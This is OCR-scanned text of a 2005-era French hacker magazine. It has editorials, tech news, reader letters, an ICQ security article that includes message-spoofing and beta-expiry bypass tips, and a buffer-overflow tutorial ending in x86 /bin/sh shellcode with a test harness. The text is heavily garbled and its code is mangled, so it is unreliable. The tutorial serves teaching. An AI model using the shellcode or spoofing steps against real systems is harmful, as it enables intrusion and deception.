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Les hackers "institutionnels’

ttardons-nous un instant sur une notion apparue depuis quelque temps dans
monde de l'information : le hacking "institutionnel”.Qui sont exactement ces personnage
de l'ombre, ces hackers institutionnels dont on parle tant ? Proposons une définition :

acker institutionnel n'est ni un policier, ni un inspecteur des douanes, il ne porte pas ['
niforme et n'est pas un fonctionnaire. Ce serait plutét un "bidouilleur" passionné, comme beaucol
d‘autres, d'informatique. A la différence prés qu'il collabore avec les forces de [‘ordre sur des e
quétes a caractére informatique et qu'il essaie de former le personnel a I'analyse des situations. Ce
te comprehension est indispensable pour pouvoir réagir et mener des enquétes efficaces, c'est-
dire, la plupart du temps, veiller a ce qu'il n'y ait pas d'erreurs judiciaires, de "bavures" (par exer
ple, éviter qu'un jeune qui télécharge de la musique sur Internet atterrisse devant un juge...)

Le hacker institutionnel peut aussi participer & des perquisitions...
sans tambour, ni trompette : voiture banalisée et discrétion sont
de rigueur. La coopération avec les forces de l'ordre est essen-
tielle et si I'on a la chance de travailler avec des personnes qui
vous font confiance, en général tout se passe bien, chacun ac-
complit ses taches respectives dans la plus grande sérénité. Le
premier souci doit étre de toujours vérifier que I'on se trouve de-
vant la bonne personne (il arrive en effet que l'on se trompe) et
que l'on n'a pas surestimé l'ampleur du probléme. L "institutionnel”
doit faire preuve de beaucoup de discernement, car ses soupgons, - o
s'ils se revélent fondés, peuvent amener un individu devant le tribunal. "
Pas question de dénoncer un innocent ou de faire quoi que ce soit d'i- e
nadmissible par la justice ou sa propre conscience. La prudence est
toujours de mise. Le hacker qui collabore avec la justice doit avant tout s'as-
surer que celle-ci ne fait pas d'erreurs grossiéres d'évaluation. Il doit aussi faire
en sorte qu'lnternet ne devienne pas un lieu de non-droit, mais qu'il reste un espace de liberté. Po
cela, il est tout a fait égitime qu'il aide les fonctionnaires de I'Etat & trouver la vérité lorsqu'ils so
confrontés a des problémes informatiques complexes.

Si vous vous trouviez vous-méme dans une situation "embarrassante”, qui souhaiteriez-vous
voir en face de vous ? Quelgu'un qui n'a pas la compétence suffisante pour comprendre toutes |
facettes du probléme ou bien un “expert" capable, par ses connaissances, de vous disculper ? |
réponse semble évidente... et nous pensons que le moment est venu pour la communauté d
hackers de bien réfléchir sur cet aspect de leur "pouvoir”,

He

Hacker News : votre magazine
Vous souhaitez participer a la vie de votre magazine ou tout simplement pousser un coup de
gueule ? N'hésitez pas a nous faire part de vos remarques a

contact@hackernewsmag.com
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Microsoft s'est SUrpass
en accumulant trois
problemes tEFIlIlII]II@S En
une seule présentation a
I'International Gonsumer
Electronics Show 2005
de 1as Vegas.

janvier, Las Vegas, Nevada
Malgré les rires des spectateurs, Bill Gates se bat avec la
telecommande universelle qui devrait, normalement, aider
” les utilisateurs a piloter tous les appareils multimédias gérés
par le systéme d'exploitation Windows Media Center.
Apres avoir appuyé en vain sur les touches pendant quelques dizai-
nes de secondes, son expression, au départ souriante, vire a la
contrariété, laquelle semble destinée aux organisateurs de la pré-
sentation. Sa réplique, "Yep" (ouais), en guise de justification reste-
ra gravée dans les annales de ['histoire de linformatique. Pour tous
Ceux qui y assistaient, la prestation ratée de I'un des hommes les
plus riches de la planéte, devant se plier aux caprices d'une télé-
commande congue dans ses usines, restera un moment inoublia-
ble. Et ce ne fut que la premiére d'une longue série
de gaffes qui a émaillé la journée...

Entre chacune des interventions, le chef de
la division informatique, Sean Alexander,
semblant de prime abord tout a fait sir de
lui, s'est lui aussi démené avec Windows
Media Center. Au moment de présenter la con-
nexion du Tablet PC a Internet : manque de
Wl chance, celle-ci ne fonctionne pas ! Pour faire

TOUTES los GAFFES de

face a cette situation embarrassante, Alexander s'est méme pla-
cé devant I'écran du Tablet PC afin que la caméra de télévision
ninsiste pas trop sur cet ...incident : "Je rencontre de petits proble-
mes de connexion Internet ; par conséquent, poursuivons la pré-
sentation, nous réessaierons plus tard. " Evidemment, plus rien ou
presque ne s'est affiché a I'écran. —

C'est Garrett Young, le chef de projet
du jeu Xbox Forza Motorsports, qui
mis la touche finale a cette démonstra-
tion... avec I'écran bleu d'avertissement
“out of system memory" ! "Excusez-moi
cela fait partie des aléas d'une démo, jai

di épuiser la mémoire systéme. :
Imaginez ce qui se serait passé si javais

Sans coupures (170 Mo en streaming), des mésaventures hila-
rantes de Microsoft a Las Vegas a I'adresse :
http:/metahost.sawvislive.com/microsoft/20050105/ms_ces_20050
105_300_archiveold.asx

- . Doyou
- The future.

Didyou -
| ?
ant g et

été en train de personnaliser une voiture ou si j'avais été dans une
phase de jeu particuliérement intéressant... Vous savez quoi ?
Nous pouvons sauter cette partie de la démo, car elle est ennuyeu-
se et assez lente."

Que peut-on ajouter a cela ? Quelle que soit notre opinion
personnelle sur Microsoft et Bill Gates, il faut bien reconnai-
tre qu'ils nous font bien rire.

Un conseil de hacker : avant une démonstration en public,
remplacez toujours les piles de votre télécommande :) w

p 3] _[ www.hackermag.com
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Pour NE PAS SE
faire avoir sur
eBay

fut!

Jai décidé dacheter sur eBay une car-
te d'occasion et pas chere pour mon PC
que jai trouvé auprés d'un revendeur aux
Etats-Unis. Le probléme qui se pose a moi
est le suivant : le vendeur veut étre payé
par carte bleue, mais je n'en ai pas, étant
encore mineur. Je pourrais utiliser celle de
mes parents, mais jhésite a donner leur
numéro de CB.Y a-t-il un moyen de con-
tourner le probléme ? Avez-vous des sug-
gestions ?

ommentaires
jet !

=Yhaloz =

Utiliser une car-
te de débit ! A
I'heure actuel-
le, de nom-
breuses ban-
ques propo-
sent des cartes prépayées et
rechargeables a volonté et uniquement
du montant souhaité. De cette fagon, si
une carte venait a tomber entre des
mains peu scrupuleuses, au pire on per-
drait I'argent déposé, mais pas celui du
compte courant de papa. En ltalie, les
mineurs ont la possibilité de se procu-
rer facilement la carte "PostePay" (car-
te prépayée et rechargeable de la Poste
italienne), dans tous les bureaux de
poste. Elle n'est pas chére et elle est
reconnue par le circuit international Visa
et Visa Electron (elle peut étre utilisée
pour effectuer des opérations électro-
niques et hon manuelles: on peut I'uti-
liser entre autres pour prélever de l'ar-
gent, effectuer des achats et payer des
factures). Elle fonctionne aussi sur eBay
: nous l'avons testée !

Pravided by
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Au sufet du probleme des "Telecoms " qui -

4 Wveulent nous enlever la possibilité d'avoir
_. [ADSL sans téléphone, je vous signale 'existen-
- ' ce d'un site de protestation ot I'on trouve un
forum, un code pour insérer une banniére de
protestation dans son site personnel une ban-
niere de protestation, et un tract a distribuer (je
devrais normalement l'avoir terminé x lorsque
HNM sera en kiosque). L'adresse Web est :
htto//www.sydarex.altervista.org/fadsl/

Je souhaiterais vous poser quelques questions:
- Est-ce que les Télécoms ont le droit de s'op-
poser a la caution ? C'est-a-dire qu'elle est pro-
priétaire des installations : I'Etat ne devrait-il pas
normalement l'obliger a respecter la loi ?

- Pourquoi est-ce que les groupements de con-
sommateurs et les entrepr/ses (celles qui pour-
i raient faire faillite) s'en
e moquent ?

sérieusement ? Nous
ne souhaitons quand
méme pas la fin du
décret Urbani ?
Sydarex

nous nous y opposer
Approfiftane subito 117

= | Comment pouvons-
S :

La seule constatation que nous pouvons fai-
re est, qu'a l'adresse indiquée sur
la pétition, le doeument en question
n'existe plus. Est-ce que cela a une signifi-
cation ?

Remarquable, le projet d'un port paraliéle ! Mais,
pour allumer huit LED, il ne faut installer ni relais,
ni optoisolateur, ni alimentateur, car vous vous
imaginez une discothéque remplie de relais 7!
Il y aurait un gros tic-tac en fond musical. Et I'a-

limentateur n'est pas nécessaire, car le port

parallele marche sur 12V, ce qui est plus que
suffisant pour huit LED. Donc, on pouvait trés
bien arriver au méme résultat en reliant au port
paralléle huit résistances de 1 Kohm de D (1) &
D (8) et en branchant a celles-ci, avec un seuf
fil, le péle negatif des LED. Ce projet que vous
avez congu n'est valable que lorsquie vous devez
commander, a partir du PC, quelque chose qui
necessite énormement de puissance.

' souhaite apporter mon témoignage au sujef de
I"encyclopéedie Hijack” :

Il y & quelques années de cela, lorsque les BBS
élafent trés a famode,;avalsmuwunbugdans!a
programme qui les gérait. S, en tentant de téléchar-
ger un fichier & partir d'un BBS, pour une raison
quelconque la communication éfait coupée, cetix
qui 5'étalent reconnectés immédiatement apres (je
me souviens qu'autrefois les BBS ne disposaient
pas dautant de lignes et donc il était tres courant
que la ligne soit occupée) se seraient connectés
automatiquement avec le login et le mot de passe
de ceux qui essayaient de telécharger le fichier. lls
auraient done pu utiliser et modifier le login du pro-
priétaire avec 'ensemble de ses priviléges asso-

ciés. Comme niimporte quel uflisateur [aura fai, ja-

vais averti le SysOp... qui n'y préta pas attention ;)
(C'est probablement I'habitude de nombreux admi-
nistrateurs, non ?) Au.revoir.

Bordiga

C'est en 1978 que Ward Christensen com-
menca a travailler sur le premier projet de ce
qui deviendra plus
tard le premier
CBBS ("Chicago
Bulletin Board Sys-
tem", dont le nom
fut ensuite modifié
en "Computer
BBS"), c'est-a-dire
un micro-ordinateur relié & une ligne télé-
phonique, par I'intermédiaire d'un modem
(1200 bls).

Salut, je suis un de vos trés
grands admirateurs.
Temez

Merci pour tes considéra-
tions, mais :

1) tul'as dit, en effet, le but
n'était pas que les huit
LED s'allument en méme temps, mais piu-
tot que I'on puisse visualiser |'état des relais.
Pour alimenter les ampoules d'un arbre de
Noél, dont nous ne connaissons ni la quan-
tité ni la puissance absorbeée, les relais sont
la solution la plus simple, la plus siire et la
plus universelle. De plus, on peut y relier
tout ce que l'on veut.

2) L'optoisolateur (ou optocoupleur) n'est

pas la pour embellir le paysage, mais par

lut & fous, fe voulals vous féficiter pour votre magazine.
En plus de cela, je voulais vous parler dun site : désormais,
presque tout le monde connait Mozilla, mais si vous allez sur
le site http:/www.mozilla.fr/, vous pourrez vous inscrire a la
communauté, pour participer au forum, et vous pourrez pren-
dre part aux recherches et au développement de Mozilla. En
effet, si vous disposez des connaissances en informatique
nécessaires, vous pourrez travailler sur le développement du
navigateur en frangais ; sinon, vous pourrez collaborer au pro-
Jet en traduisant danglais en frangais toutes les informations
mises a disposition par les organisateurs du site.
Mr_k
Avoir la chance de participer & un projet intéressant est
toujours utile et instructif. Par contre, s'abstenir c'est com-
me perdre son temps...

Sl gippo B Uadumond 1talissa del peogetta Mazilla

Rappelons wn wé
g

Je voulais vous parler d'un nouveau
site que j'ai crée pour rappeler les vic-
times d'Asie. L'adresse est :
http://tsunamiasia.altervista.org
Giano87

mesure de sécurité. Il évite les retours

@3) | Si tu as des besoins comparables a
ceux d'une discothéque ou bien des
problémes de bruit, tu peux installer
des triacs a la place des relais. lls sont
silencieux et efficaces, mais a réserver
aux plus expérimentées.

4}) Le port paralléle ne va pas jusqu'a 12 V.
Les signaux sont compatibles TTLen 5V
par rapport a la masse et le courant maxi-
mum que nous pouvons "puiser” est d'en-
viron 14 mA. Dong, pour éviter tout incon-
vénient et en supposant que le port parallé-
le a été congu selon des normes récentes,
les résistances dont tu parles devront tou-
tes étre de 3300 ohms.

- ‘a de courant de toutes sortes sur le port
- paraliéle.

)_{ www.hackermag.com )
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» REPLIGATION
DU VER 11111

En quelques jours, sept
=Variantes du ver Cabir ont
gté trouvées pour le systéme
d'exploitation des téléphones
mobiles Symbian 6.0. C'est
un avertissement qui nous
informe que I'on peut récu-
pérer son code source sur
Internet, parce que les varian-
tes sont simples et obtenues
par recompilation du code

a derniére plateforme d'irel, Sonoma,

basée sur le processenr Pentium M 770
basse consommation, a éré congue pour les
portables. C'est un processeur cadencé &
2,13 GHx qui renferme 2 Mo de mémoire. A
ses cO1és, toute une série de puces électroni-
ques nowvelle génération qui prévoit une
rapidité de 533 MHz et la possibilité de
connexions wireless 802.11a/blg.

(p 6)_( www.hackermag.com) |
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| est petit et trés puissant, il se présente sous la forme d'un boitier carré en

aluminium anodisé mesurant guére plus de 16 cm de c6té pour 5,08 cm de
hauteur. Cela signifie qu'il faudrait en superposer au moins sept pour atteindre la
hauteur moyenne d'une tour de PC. A l'intérieur, se trouve toute la puissance d'un syste-
me d'exploitation Mac OS X, et n'importe quel écran peut faire 'affaire : de I'ancien
moniteur VGA a celui haute définition avec sorties DVI. On peut méme brancher sa
bonne vieille télévision grace a un adaptateur vidéo S -vidéo/composite.

Aisément dissimulable (tout est ultra miniaturisé), le Mac mini abrite un pro-
cesseur G4 d'une capacité maximale de 1 Go de RAM, un
processeur graphique Ati Radeon 9200 avec 32 Mo de

mémoire SDRAM DDR.

Il dispose évidemment de toutes les connexions intégrées
(Ethernet, USB, Firewire, modem), d'un disque dur de 80
Go et d'emplacements pour carte AirPort Extreme (pour
les connexions réseau wireless) et
module Bluetooth interne.

Apple a également présenté toute

une série de nouveautés pour son

systeme d'exploitation : voir la démo et les

autres présentations de produits a l'adresse www.apple.fr

d'origine. Peut-étre, lors de vos prochaines
recherches, trouverez-vous ce code. ..

.» COMPRESSE AU
MAKIMUN

et vidéo permettant d'obtenir une qualité de tran-
smission vidéo surprenante et une compression
telle qu'elle autorise une vidéoconférence a qua-
tre participants. Vlous trouverez toutes les infor-
mations a |'adresse http://www.apple: com!m
macosx/tiger/h264.html

Selon les dévelop-
RN i

ous I'avons vu B peurs, I'H264

fonctionner au & devraient offrir un
sein de Mac Os X s
Tiger, la nouvelle Lauy de mm
évolution d'Apple : Stpériear a celul du
H.264 est le plus
récent codec audio MPE: 4 de 33%.

H.283 Compression

H.264 Compression




ERASH OU SERVEUR
WIKDDWS AL MACWORLD

[ F'semblerait que le serveur Windows, bizar-
- Brement utilisé par I'organisation du "Mac-
world Expo", les sites Apple, basés sur Mac 0S
'S_érver, ont tout a fait bien résisté. Cela a été
dévoilé par une
déclaration de
Netcraft, effec-
tuée exacte-
ment pendant
la présentation
des nouveaux

BIG MAC TRAFFIC
Stva Jobe' keyncte & Machierld ixpo ¢ n.a i ralaliy
setes choring irfo absut Appla's new produc

iPod Shuffle et du nouveau Apple Mac mini.
Vous trouverez toutes les informations a ce sujet
a I'adresse hittp://news.netcraft.com/archi-
ves/2005/01/12/apple_store_macworld_expo_si
tes_slowed_by_heavy_traffic.html.

»DEVELOPPEUR DE VIRUS

SAUVE PAR SR WEBGAM

| chattait avec sa webcam lorsque son inter-

focutrice I'a
vu tout a coup
s'écrouler. Con-
naissant I'adres-
se du domiciie
de I'internaute
en détresse, cel-
le-ci a prévenu
la police, qui a
ainsi pu secou-
rir le malheu-
reux. Morale de

- I'histoire : mon-

trez-vous plus
souvent, on ne
sait jamais ce

i Welcam | racher
action Yew Praferencas Help

@ w 9

Broadzast  Preferences Help

Statistics
Capture device name Mo
Logiech QuickCam Fro 3000 (0820) i
Broadcasting |
Disabled

qui peut arriver...

(]88 =
| )

Imoge(20).jpg
Menu = Exit

- exécutes lors de ['utilisation de docu-

ﬁ GipViewer

ENCORE DES PATCHS
POUR LES FAHLES

icrosoft a sorti trois patchs pour bou-

cher les failles découvertes le mois der-
nier. Ceux qui ne disposent pas du Service
Pack 2'sont en danger ; pour les autres, il reste
tout de méme une bréche non encore colma-
tée. Les trois vulnérabilités découvertes par des
chercheurs chinois (quiont répandu leurs

exploits respectifs) touchaient parti-
culierement les précédentes ver-
sions du SP2. La bréche pre- .
sente dans XP SP2 concernait | -
une limite du mécanisme de
protection appelé "Local Machi-
ne Zones Lockdown", qui serta
bloquer les possibles événements

. s
[ 17

ments HTML dans le "Local Machine Zones".
Mais le contréle "HTML Help ActiveX"
(Hhctrl.ocx) n'est pas blogué par la fonction
"Local Machine Zones Lockdown" etil est donc
possible de s'en servir pour exécuter des scripts
qui peuvent ouvrir automatiquement des fichiers
arbitraires activés par des fonctions telles que
le "glisser/déposer”, Mais beaucoup d'eau a
coulé sous les ponts depulis la découverte de
ces vulnérabilités. Qu'a-t-il bien pu encore se
passer pendant cette période ?

a cause en est un défaut dans I'affichage
des adresses Web trés longues. Aucune

(1114 SENAESAGHE

e développeur qui avait créé un cheval

de Troie qui lui permettait d'accéder aux
comptes courants bancaires de ses victi-
mes a été arrété par la police espagnole. Le
virus s'était répandu dans le monde entier
grace aux réseaux d'échange de fichiers
peer to peer.
La justice rendue !

| si portée sur des produits plus répandus...

solution n'a encore été trouvée. Le risque est
de tomber sur une adresse Web malicieuse qui,

au lieu de nous conduire au site indique, prend
des chemins détournés, devenant ainsi un puis-
sant allie pour les propagateurs de "phishing",
(ceux qui détournent des sites sécurisés pour

récupérer les données). Les développeurs

impliqués dans le projet Mozilla promettent une solution pour la prochaine version.
Entretemps, espérons que |'attention des individus malintentionnés sera toujours aus

ceux de Microsoft par exemple.

[ m7)_{ www.hackermag.com )




Jgpard au début de Mére
Internet, 160 a fait taghe
dhuile. .. tout comme Jes
méthodes pour ataguer es
ordinateurs qui Futlisent

d'exploitation n'est pas

a jour, risquent non
seulement
d'étre attaqués, mais
aussi d'étre espion-
nés. En effet, les

tout CE

4\

correctement confi-
guré. Un programme de mes-
sagerie est comme une porte
ouverte sur
I'extérieur,
et a ce titre il
peut laisser entrer

QUE \-‘ u‘““ le bon comme le
E v o\t P AS mauvais.

anciens protocoles
' utilisés par ICQ sont SATEUR 1“ ias en d'autres termes
de vraies passoires. e quiCa ne dit P2 ervé aux experts) -
Par contre, la derniere C|e coeur d'1CQ (res/ scar/index.htm\
l : I version est certaine- hﬂp'-//"se“’erg'khﬁtgauS(‘)se trouve 2 l'adres-
ment la plus sécurisée  La version béta d _4u.com/icadV
| : elle offre aux utilisa- ~ Se: hﬂp?/lwww':jche .
r - teurs toute une série  icq5_setup223d-
| d'options qui en font 'un
1 des programmes de
| messagerie
2 | instantanée les plus
1 slrs... a condi-  Oscar est régulierement mis a jour. Actuel-
| tion toute-  lement arrivé a la version 9, il continue d'é-
— _ _ foisquil  voluer. Pour des raisons de compatibilité
' , I \ rl-i_'r‘?z_efgé.'pj soit  aveclesanciens serveurs ICQ, les dévelop-
| % T g -, peurs attribuent un code interne a chaque
| L ] 11 sortie, qui'cor;]espond ensuite él ce que
{ 1 nous téléchargeons sur le site
-__-""“_4_—1 ~./ . www.icq.com. Toutefois, on ne connait
| - pas encore tout sur Oscar, et nous, hac-

kers, sommes chargés de déchiffrer I'u-
tilisation de certains paramétres du




protocole. Une opération réservée

aux experts, auxquels nous pouvons

nous mesurer a l'adresse http://iser-
verd.khstu.ru /oscar/wanted.html.

IC0etles
tentatives d'attague

de spoofing, com-
_me le bon vieux Lame Toy (attention, c'est
aussi le nom d'un virus | Soyez bien sOr
qu'il s'agit du programme avant de le télé-
charger), qui pouvait méme aller jusqu'a
effacer la liste des contacts de l'ordinateur
attaqué.
Les premiéres versions d'ICQ pouvaient
€galement ouvrir un petit serveur Web sur
l'ordinateur de I'utilisateur, qui pouvait ain-
si créer sa page Web personnelle. Mais I'u-
tilisation de Telnet pouvait cra-sher le
serveur en question et son client cor-
respondant. Et ainsi de suite, d'atta-
que en attague.

; Hellen m\ T In“ 8 oiiae |
My 10Q o
T [ Tree—r i) Cn

pesic

De l'agresse
al'agresseur

On peut
le constater lorsque I'on se trouve der-
riere un NAT ou un routeur qui dissi-
mule notre véritable adresse IP. Il suf-
fit de se rendre a la page
www.icg.com/<UIN >, ol < I'UIN (Uni-
versal Internet Number) > est le numé-
ro d'identification ICQ de la personne &
qui nous souhaitons envoyer un mes-
sage, et de choisir un pseudonyme et
une adresse e-mail de notre invention.
Le destinataire recevra alors le mes-
sage avec ce nom fictif, sans savoir que
l'adresse email n'existe pas. Méfiance
tout de méme, car la premiere ligne
du message indique l'adresse IP
de l'expéditeur, ce qui suffirait a
nous " découvrir ". | faut absolu-
ment, pour que cela marche,
que nous soyons derriére un NAT
qui dissimule notre véritable adresse
IP. Bien évidemment, c'est une protec-
tion qui a ses limites : une enquéte
approfondie auprés du NAT en que-
stion permettrait toujours de remonter
jusqu'a nous.

Concernant les adresses IP, ICQ a tou-
jours tendance a ne pas les dévoiler,
mais il suffit de se tourner vers certains
programmes alternatifs, comme Miran-
da (www.miranda-im.org), pour obtenir
automatiquement, parmi les détails de

PIRMAGE DE L INSTALLATION
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2 Questo & un esempio di file HOSTS usato da Microsoft TCP/IP

ujourd'hui, il estimpossible d'installer la version béta

d'ICQ 5, car sa date limite d'installation est dépassée. """ _
Mais pour contourner le problgme, VOus pouvVez Bditer un fre " =" st
fichier en vous aidant du site " icq-4u.com ", ORI gt
Dans Windows XP, le fichier se trouve dans le répertoire |immmime oo
CAWINDOWS\system32\drivers\etc. et il s'appelle NOStS [ummmeme oo e
(sans extension). Sur Windows 95/98/ME, le fichier est loca- ***"**"*™
lisé dans C:\Windows \. Ouvrez-le a |'aide de Notepad, puis ajoutez 80.190.244.8 ch.icq.com
a la derniére ligne.
Tout de suite aprés l'installation et avant I'enregistrement sur le serveur d'ICQ avec le numéro
d'identification et le mot de passe, vous pouvez supprimer la ligne. Ainsi, aucune information
ne sera envoyée au site * icq-4u.com ". Ce systeme fonctionne parce que lorsque nous instal-
lons ICQ 5, le site est interrogé comme 2 I'habitude et répond " la période de test béta est ter-
minée *, mais que le site “icg-4u * offre, lui, une autorisation alternative.

»

lggc\z.lEé'ESD %EF{’T

l est donc obllgalmre de se protéger con-

tre les intrusions via ICQ. Il suffit pour
cela d'appliquer certaines régles trés sim-
ples. Si nous savons exploiter comme il se
doit les différentes options proposées, ces
protections sont réellement efficaces. En voi-
ci quelques-unes :
@ Activer ['option de demande d'autarisa-
tion dans " owner preferences for/General/My
authorization is required before... etc. " pour
gu'un contact demande votre autorisation
avant de pouvoir vous insérer dans sa liste
de contacts.
@ Accepter des messages provenant uni-
guement de sa propre liste de contacts (dans
ICQ 4, c'est |la premiére option du spam con-
trol).
® En n'acceptant jamais de messages pro-
venant d'Email Express, vous éviterez égale-
ment certaines plaisanteries douteuses.
© En utilisant souvent 1a liste noire, vous
empéchez certains utilisateurs d'ICQ de pou-
voir accéder a votre PC. Dans 1CQ 4, il faut
activer |'option "Ignore List".
@ Placez dans la liste grise les utilisateurs
(qui peuvent vous voir uniquement au cours
d'actions précises, par exemple lorsque vous
envoyez un message. Ainsi, vous serez tou-
jours invisible pour certains utilisateurs. Pour
cela, il faut choisir I'option "Invisible List".
® Insérez dans la liste blanche (Visible List)
tous les utilisateurs autorisés a vous voir
méme lorsque vous avez choisi d'étre invi-
sible. Vous apparaitrez avec l'icone d'invisi-
bilité pour ceux qui ne sont pas autorisés a
vous voir, et avec I'icbne on-line pour ceux
qui le sont.
@ e pas insérer d'informations personnel-
les dans la rubrique "Personal info" de la fiche
d'enregistrement ; pas de nom, d'adresse
personnelle ou d'e-mail couramment utilisé.
[l vaut mieux indiquer un compte e-mail
gratuit et anonyme que vous aurez
préalablement ouvert. Quant & votre
date de naissance et votre sexe,
c'est a vous de décider. ..

chaque contact, également
I'adresse |IP correspondante.
Ceci peut effectivement compor-
ter des inconvénients, parce qu'u-
ne adresse IP est toujours un point de
départ : si un scanneur de ports la
détecte, il sera en mesure de récolter
des informations personnelles sur le
correspondant.



'objectif d'une telle attaque COR-
siste a exécuter unm‘t;l‘e arbi-
traire au sein du systéme atta-
qué. Celui-ci peut étre unishell
code, qui permet a l'agresseur de
déchainer n'importe quelle atta-
que au sein du systéme.

Le shell code comprend une série de com- [}
mandes en langage Assembleur. Il suffit de
les écrire dans la pile (stack, en anglais) et
de remplacer l'adresse de retour poyreve-

nir a la pile. En utilisant cette méthode, on
peut insérer le code dans un processus
vulnérable et ensuite I'exécuter directement
dans la pile.

Un systéme communément utilisé pour
engendrer des codes Assembleur en
mesure de faire fonctionner un shell est
execve(), qui charge et exécute du code
binaire en finissant par I'exécution du pre-
cessus courant. La page man de execve()
(qui permet de visionner le manuel de la
commande) dit qu'il faut utiliser la syntaxe
suivante :

O1.ipg (116 KB}

Ung image JPEG maligne suffit 4 lancer me altague buffer overflow, Gela 8 2StHER pPovil

P10 www.hackermag.com



int execoe (const char *filename, char
*const argu [], char *const enupll);

Voyons comment |la commande fonc-
tionne, en la démontant :

# gdh /lib/libc.so.6

(gdb) disas execve

Dump of assembler code for function exec-
ve:

OuSdall: pushl 7ebu

/* e veritable appel systéme. Avant qu'un

programme appelle execue, ce dernier

effectue le push sur la stack des argu-

ments dans |'ordre inverse : **enup,
**argy, *filename */

/* met l'adresse de **enup dans le regi-

stre edu */

OxSdaDl: moul Dx10(Zesp, 1), 7eds

/*metl'adresse de **argu dans le registre

ecH*/

Ox5da05: movl Ouxc(Zesp,1),7%ecH

/*met I'adresse de *filename dans le regi-

stre ebx */

OxSda09: movl 0x8(7esp,1),7ebx

/* met Oxb dans le registre EAH; Oxb ==

execve dans le tableau appele au systeme

i

DuSda0d: moul $0xb, 7eax

/* passe le contrile au kernel, pour exe-

cuter l'instruction execve */

Ousdal2: int $0x80

Ou5dal4: popl 7ebx

Ox5dals: cmpl $OxFIFTTO01,7ean
Dx5Sdala: jae Ouodald__syscall error>
OxSdalc: ret

End of assembler durmp.

Une petite astuce permet d'utiliser le

IDS Device Manager

W Signature Ide
¥ Engine-Specific
Parameters

I Alent Response

™ Alert Behavior

: - Required Fisld

Web Server Buffer Overflow Checks

Maximum Length of HTTP Request field: I———_
Maximum Length of RTTP Header: li
Msximum Length of HTTP URI fietd: [
Maximum Length of HTTP Arguments: Ii

Back || Reset H Cancel r}li_'lfn | Mot |

Specify maximum
lengths for the
HTTP header
fields, in order to
detected
aftempted buffer
overflows. The
signature does
not fire uniess all
specified
condtions are
met. Click the
Next button to
proceed to the
next page of the
wizard, or the
Previous button
to return to the
previous page.
Click Cancel to
extt the wizard
without saving
any changes.
Click Reset to
redisplay the

page.
|5 |4 Intemet

10 nombreux aguareils en réseau incorporent des contriles pour prévenie fe danger d'une aliague

lufier overflow,

shell code sans avoir a se reporter,
conventionnellement, aux arguments
en mémoire :

Estimons la taille du shell code et utili-
sons les instructions jmp <byte> et call
<byte> pour avancer ou reculer du nom-
bre d'octets indiqué dans le thread d'exé-
cution. L'instruction call peut mémoriser
automatiquement sur la stack une adres-
se de retour qui correspond aux quatre
octets qui suivent l'instruction elle-méme.
Si nous faisons suivre immédiatement
I'appel d'une variable, nous exécutons
indirectement un push de son adresse
sur la stack sans avoir besoin de le con-
naitre.

0 jmp (saute 2 octet vers l'avant)

2 popl Zesi

... c'est ici que la ou les fonction(s) sant
placees ...

2 call<-2+2 (saute 2-2 byte enarriére,
en direction de POPL)

2+5.string (premiére variable)

Le code peut comporter plusieurs

.strings (chaines), dans le cas ol nous
souhaitons écrire du code plus comple-
xe que celui d'un simple interpréteur de
commandes. En connaissant |a taille des
.strings, on peut calculer leur position rela-
tive aprés avoir localisé la premiére chai-
ne.

Voici le véritable shell code :
global code_start /*il sera utile
ultéerieurement */
global code_end
.data
code_start:
Jjmp 0817
popl %esi
moul 7esi,048(%esi) /* place I'a-
dresse de **argy derriére le shell code,
048 octets en arriére, en laissant de la
place pour un /bin/sh */
Horl 7eaH, 7-eaq
Toau */

/* met 0 dans

QU'EST-CE QU'UN SHELL CODE ?

I s'agit d'un programme écrit en langage Assembly qui exécute un shell, comme /hin/sh

d'Unix (Linux, Mac 08 X) ou command.com de Windows. L'objectif d'une attaque buffer
overflow est souvent d'injecter du shell code dans la mémoire de I'ordinateur attaqué, ce qui

¢ permet & I'attaquant de donner des commandes au moyen du shell introduit dans le systéme.




ot T

TALIBAN FEARS
INDEPENDENT,

ARMED WOMEN.

)

gme

DO
. YOU?

movh Zean,04(%esi) /*metund
de fin apres la chaine /bin/sh*/

movl 7ean,0uc(Zes)) /*unautreDd
pour arriver ala taille d'unlong word */

IMy_BHECUE:

UNIX ET x86

e code Assembleur et les techniques décri-

tes fonctionnent sur des systémes munis

du processeur x86 d'Intel. On peut les réaliser

en travaillant indifféremment avec des systé-

mes Unix, comme Linux, ou Windows, 4 con-

! dition de bien connaitre le langage C, des shells

[ et des langages d'un niveau plus élevé tel que
> Perl.

IRCK ING

movh $0xb, Zal /*enpcoe(  */
movl %esi, 7%ebx /* “/hin/sh”,
*/
leal OxB(%esi),%ecy  /* & di
“/hin/sh”, */
Horl 7edn, Zedu /¥ NULL */
int $0180 /*); */
call -Oxic
.string “/bin/shy” /* Hestrempla-
cé par movb Zean,0u?(7esi) */
code_end:

On peut déduire les offsets relatifs
0x17 et -0x17 en insérant 0x0, en com-
pilant, puis en demontant et en faisant
attention a la taille du shell code.

C'est un shell code percutant, et en plus
il fonctionne ! I faudrait au moins démon-
ter 'appel systéme exit() et I'ajouter avant
l'appel, mais le véritable art du shell code
consiste plutét a eviter tout zéro binaire
dans le code, 0 qui treés souvent indique
la fin du buffer et des caractéres de con-
tréle, que certains programmes sont en
mesure de filtrer. La plupart du temps, on
utilise des codes " automodifiants *, com-
me dans l'instruction movb
Y%eax,0x7(%esi) ou I'on remplace le X par
\0, mais sans avoir de \O de début dans
le shell.code.

Essayons de voir si cela marche. D'a-

bord, sauvegardons le code ci-dessus

sous le nom de.code.S (retirons les com-
mentaires) et ce qui suit sous le nom de
code.c:

entern void code_start();

extern void code_end();

#include <stdio.h>

main() { ((void (*)(void)) code_start)(); }

# cr -0 code codice.S codice.c
# . /code
bash#

Maintenant, nous pouvons convertir leV |
shell code dans un buffer de carac- §

téres hexadécimaux. La meilleure
facon de procéder est d'imprimer :

#include <stdio.h>
extern void code_start(); extern void
' code_end();

main() {
fprintf(stderr,”%s”,code_start); }

Aprés quoi nous effectuerons un
| parsing au moyen de aconv -h o

QU'EST CE QU'UNE STACK ?

: Une stack, ou pile, est une structure de don-
nées dans laguelle les informations sont
accessibles dans le schéma LIFO, qui signifie
Last In First Out, ¢'est-a-dire " dernier entré,
premier sorti ". Le schéma LIFO est comme
une pile de livres a l'intérieur d'une boite : on

a acces uniquement au premier des objets,
celui situé en haut. Une instruction push met

{ un objet au-dessus du stack et une instruction
! pop permet de I'enlever. Presque tous les pro-

cesseurs disposent d'une stack.

et .

bin2c.pl. Ce sont des outils que l'on trou-
ve, par exemple, a I'adresse
http://mixter.void.ru/aconv.c ou bien
